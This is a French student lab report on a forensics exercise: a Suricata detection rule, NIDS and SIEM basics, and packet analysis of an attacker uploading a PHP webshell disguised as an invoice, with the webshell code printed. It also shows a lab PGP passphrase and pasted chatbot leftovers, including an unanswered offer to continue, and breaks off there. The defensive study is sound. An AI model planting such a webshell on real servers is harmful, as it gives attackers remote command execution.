|  |  |  |
| --- | --- | --- |
|  |  |  |
|  |  |  |
|  |  |  |
| JUNIA ISEN  2 rue Norbert Ségard  59014 Lille cedex |  |  |
|  |  |  |
|  |  |  |
| TP6 – Digital Forensics & Incident Response | | |
|  | | |
|  |  |  |
| PUBLIC - 2025 | | |
|  |  |  |
| Pour la validation de l’unité d’enseignement Systèmes et Réseaux  Enseignant référent : S. MERIOT | | |
|  |  |  |
|  |  |  |
| Amyr HAMAD  Djallal CHAFAI  Mahé FAUVART    ISEN AP4 |  | Mai 2025 |

Table de matière  
  
[Warm up question: 3](#_Toc197502157)

[Question 1 3](#_Toc197502158)

[Question 2 4](#_Toc197502159)

[**NIDS – Network Intrusion Detection System** 4](#_Toc197502160)

[**SIEM – Security Information & Event Management** 4](#_Toc197502161)

[Question 3 4](#_Toc197502162)

# Warm up question:

***Why did your boss sent you this message ? Explain what you had to do to go through this.***

Le boss nous a envoyé ce message chiffré pour **nous assigner une mission critique d’investigation**. Une alerte de sécurité a été déclenchée par le **NIDS** de notre client **CandyRiver**, et la gravité de l’incident (classé *P1 - Critique*) justifiait l’ouverture d’une procédure de réponse à incident.

Le message contenait des **détails techniques confidentiels**, donc il a été **chiffré avec PGP** pour garantir la confidentialité des données en transit. La **passphrase** m’a été transmise séparément via l’application de messagerie privée sécurisée Signal, afin d’éviter toute compromission :

**Passphrase : uoqu1xo4Ahkoang7sh**

J’ai utilisé la commande suivante pour déchiffrer le fichier MeetingNotes.pdf.asc :

Une image contenant texte, Logiciel multimédia, Police, logiciel

Le contenu généré par l’IA peut être incorrect.

Le fichier déchiffré m’a permis de lire les **notes de réunion entre mon supérieur et le CISO de CandyRiver**, me donnant des informations précieuses sur l’environnement réseau, les systèmes exposés, et les premières constatations internes.  
  
Cette étape était indispensable pour comprendre **le contexte de l’alerte**, organiser l’équipe et commencer l’analyse technique.

# Question 1

***Identify in your group the role of the different people and what each of you is going to do:***

|  |  |  |
| --- | --- | --- |
| Rôle | Nom | Tâche assignée |
| Coordinateur | Amyr HAMAD | Reçoit l’alerte, organise le travail, communique avec le client. |
| Responsable du rapport | Mahé FAUVART | Centralise les réponses, rédige le rapport final. |
| Expert réseau | DJALLAL CHAFAI | Analyse du fichier .pcap, inspection des flux réseau. |
| Expert sécurité | Mahé FAUVART | Identification des techniques d’attaque. |
| Responsable remédiation | DJALLAL CHAFAI | Élabore le plan d'action, évalue les mesures de défense. |

# Question 2

***Recall briefly what is an NIDS and what is a SIEM.***

### **NIDS – Network Intrusion Detection System**

Un NIDS est un système de détection d’intrusion basé sur le réseau, conçu pour analyser le trafic afin d’identifier des comportements malveillants ou suspects. Il s’agit d’un dispositif non intrusif : il surveille le trafic sans l’interrompre, sauf s’il est configuré en mode IPS.

Installé sur un routeur ou un équipement dédié, un NIDS comme **Snort** ou **Suricata** permet :

* de détecter des adresses IP, noms de domaine ou User-Agent malveillants,
* de reconstruire des paquets réseau (fichiers, e-mails, requêtes HTTP...),
* de repérer des patterns d’attaque comme des injections de commande.

Le NIDS ne bloque pas l’attaque en lui-même, il se contente de l’observer et d’émettre une alerte, ce qui en fait un outil essentiel pour la détection en temps réel.

### **SIEM – Security Information & Event Management**

Un SIEM est une plateforme de centralisation et d’analyse des logs provenant de différentes sources : NIDS, HIDS, firewalls, antivirus, serveurs, proxy, etc. Il permet d’indexer, corréler et analyser ces données pour détecter des anomalies ou des attaques complexes.

D’après le cours, un SIEM est particulièrement utile pour :

* croiser des événements issus de multiples systèmes,
* déclencher des alertes enrichies et contextualisées,
* reconstituer des scénarios d’intrusion précis (ex : connexion SSH suspecte en dehors des horaires habituels).

Des solutions comme **ELK (Elasticsearch + Logstash + Kibana)**, **Graylog** ou **Splunk** sont souvent déployées pour mettre en œuvre un SIEM en entreprise.

# Question 3

***As explained, the alert has been triggered by a NIDS rule. The SOC team shared with you the rule. Explain what it is supposed to detect and why this alert is relevant.***

Règle donnée:

alert tcp any any -> any any (

msg: "Suspicious HTTP POST request";

flow:to\_server;

content:"POST"; http\_method;

content:"system($\_"; http\_client\_body;

classtype:web-application-attack;

sid:283; rev:3;

)

|  |  |
| --- | --- |
| **Élément** | **Explication** |
| alert tcp any any -> any any | Analyse tout le trafic TCP quel que soit le port ou l’IP |
| msg: "Suspicious HTTP POST request" | Message affiché en cas de déclenchement |
| flow: to\_server | L’alerte s’applique à du trafic allant vers un serveur |
| content:"POST"; http\_method; | Recherche une requête HTTP de type POST |
| content:"system($\_"; http\_client\_body; | Détecte la présence de system($\_ dans le corps de la requête, typique d’une attaque PHP |
| classtype: web-application-attack | Classe cette activité comme une **attaque sur application web** |
| sid:283; rev:3 | Identifiant et révision de la règle |

En résumé, ce que va rechercher cette règle est la détection d’une tentative d’exécution de commande système à distance (RCE) à travers une faille PHP.

Le motif system($\_ est souvent présent dans des webshells ou des codes injectés permettant à un attaquant d’exécuter des commandes arbitraires sur un serveur via une variable non sécurisée ($\_POST, $\_GET, etc.).

Cette alerte est particulièrement pertinente car elle cible un vecteur d’attaque courant et dangereux : l’injection de code via des requêtes HTTP POST, fréquemment utilisée pour compromettre des applications web vulnérables.

Elle a été déclenchée par Suricata, un NIDS performant, installé sur le routeur de l’entreprise. Ce positionnement stratégique permet de surveiller l’ensemble du trafic entrant, en particulier celui à destination de la DMZ, sans affecter les performances réseau.

La cible de l’attaque est le serveur dmz-web, qui héberge un portail fournisseur accessible depuis Internet. Même si les données impliquées (factures, bons de commande) sont jugées peu critiques, leur exposition publique pourrait nuire à la réputation de l’entreprise.

Dans un contexte e-commerce, la compromission d’un serveur exposé représente un risque élevé tant pour la confidentialité des données que pour la disponibilité des services.

# Question 4

***According to the meeting your boss had with the Chief Information Security Officer, where is deployed the NIDS ? Explain whether this is a good choice or not.***D’après les notes de réunion entre notre supérieur et le CISO de CandyRiver, le NIDS a été déployé sur le routeur il y a cinq ans. Cet emplacement permet de surveiller l’ensemble du trafic réseau entrant et sortant, en particulier les flux à destination de la DMZ, où se trouve le serveur dmz-web concerné par l’alerte.

À mon avis, ce positionnement est techniquement pertinent : en plaçant le NIDS sur le routeur, on s’assure de capter le trafic provenant d’Internet avant qu’il n’atteigne les systèmes exposés, ce qui est essentiel pour détecter des attaques réseau comme celle observée ici (requête HTTP POST malveillante).

En revanche, la gestion du NIDS pose problème. Le responsable de l’outil a quitté l’entreprise il y a trois ans, et aucun suivi ou mise à jour n’a été effectué depuis. Cela réduit fortement la fiabilité et l’efficacité du dispositif, notamment en termes de détection de menaces récentes. Un NIDS non maintenu peut laisser passer des attaques ou générer des faux positifs non filtrés.

En résumé, le choix d’architecture est bon, mais le manque d’entretien et de supervision affaiblit sa capacité réelle à protéger l’infrastructure.

# Question 5

***What are the packets 1, 2, 3 corresponding to ?***

Les paquets 1, 2 et 3 correspondent à la phase d’établissement de la connexion TCP, plus précisément au 3-way handshake entre l’attaquant (100.120.0.4) et le serveur web de la DMZ (10.87.1.2) sur le port 80 (HTTP).

|  |  |
| --- | --- |
| N° du paquet | Description |
| 1 | Le client (potentiellement l’attaquant) envoie un paquet SYN pour initier la connexion vers le port HTTP du serveur (55570 → 80). |
| 2 | Le serveur répond avec un paquet SYN-ACK, confirmant la réception et proposant de poursuivre l’échange. |
| 3 | Le client termine la négociation avec un ACK, complétant le 3-way handshake et établissant la connexion. |

À ce stade, la connexion TCP est établie, ce qui permet d’envoyer ensuite une requête HTTP. Aucun comportement malveillant n’est encore visible dans ces trois premiers paquets ; ils représentent une étape normale et légitime d'ouverture de session entre deux hôtes via le protocole HTTP.

# Question 6

***Considering packet 4 and packet 6, what caused the NIDS to trigger an alert ? Still by considering these 2 packets, is the attack successful ?***

Le paquet n°4 correspond à une requête HTTP POST émise par la machine 100.120.0.4 à destination du serveur 10.87.1.2, sur la ressource /upload\_invoice.php. Cette requête inclut un fichier nommé invoice.pdf.php, dont le contenu correspond à un webshell PHP.

Ce webshell contient notamment le code suivant :

system($\_GET['cmd'] . ' 2>&1');

Ce motif (system($\_) est spécifiquement surveillé par la règle NIDS configurée sur l’infrastructure, ce qui explique le déclenchement immédiat de l’alerte. Le système de détection Suricata, positionné en amont du trafic entrant, a ainsi identifié la tentative d’envoi d’un fichier malveillant contenant un exécuteur de commandes système à distance RCE (Remote Command Execution).

Le paquet n°6 est la réponse du serveur à cette tentative. Il s’agit d’un code HTTP 200 OK, ce qui signifie que la requête a été acceptée par le serveur au niveau protocolaire. Toutefois, l’analyse du corps de la réponse révèle le message d’erreur suivant :

Details: exception cannot write file ./invoices/95729/test/invoice.pdf.php

Ce message indique que le téléversement du fichier PHP malveillant a échoué, vraisemblablement en raison d’un problème de permissions d’écriture sur le système de fichiers du serveur.

Le NIDS a correctement détecté une tentative d’attaque de type RCE via webshell PHP, grâce à une signature précise.

L’attaque n’a pas abouti techniquement, car le fichier malveillant n’a pas pu être enregistré sur le serveur.

Cette tentative reste néanmoins critique, car elle démontre une intention claire de compromission du système cible.

# Question 7

***Describe what happened in packets 14 and 16. Does it work ? Describe the content of the packet 14.***

Le paquet 14 correspond à une seconde requête HTTP POST émise par l’adresse IP 100.120.0.4 vers le serveur 10.87.1.2, ciblant une nouvelle fois la ressource /upload\_invoice.php. Cette requête contient un fichier PHP nommé invoice.pdf.php, identique à celui transmis précédemment dans le paquet 4.

Le contenu du fichier est un webshell PHP, permettant d’exécuter des commandes système à distance à travers le paramètre cmd passé en GET. Le cœur du code est le suivant :

php

Copier

Modifier

<?php

if(isset($\_GET['cmd']))

{

system($\_GET['cmd'] . ' 2>&1');

}

?>

Cette charge malveillante a été insérée via un champ multipart/form-data, ce qui simule l’envoi d’un formulaire contenant un fichier de facture. L’intention de l’attaquant est de dissimuler un webshell sous l’apparence d’un document légitime.

Le paquet 16 contient la réponse du serveur : HTTP/1.1 200 OK. Contrairement à la première tentative (paquet 6), aucun message d’erreur ne figure dans le corps de la réponse. Au contraire, la réponse contient une confirmation explicite :

php-template

Copier

Modifier

<h1>Thank you !</h1>

<span>Your invoice has been properly uploaded on our server. We'll proceed to the payment asap.</span>

✅ Conclusion

Cette réponse positive suggère que la tentative de compromission a cette fois fonctionné. Le fichier PHP malveillant a vraisemblablement été enregistré avec succès sur le serveur, sans qu’aucune erreur ne soit retournée. Le webshell est donc potentiellement accessible à distance, ouvrant la voie à l’exécution de commandes arbitraires par l’attaquant.

Cette phase marque le point de bascule de l’attaque : le passage d’une simple tentative à une prise de contrôle fonctionnelle du serveur cible.

Souhaites-tu que je continue avec le paquet 18 dans ce même style ?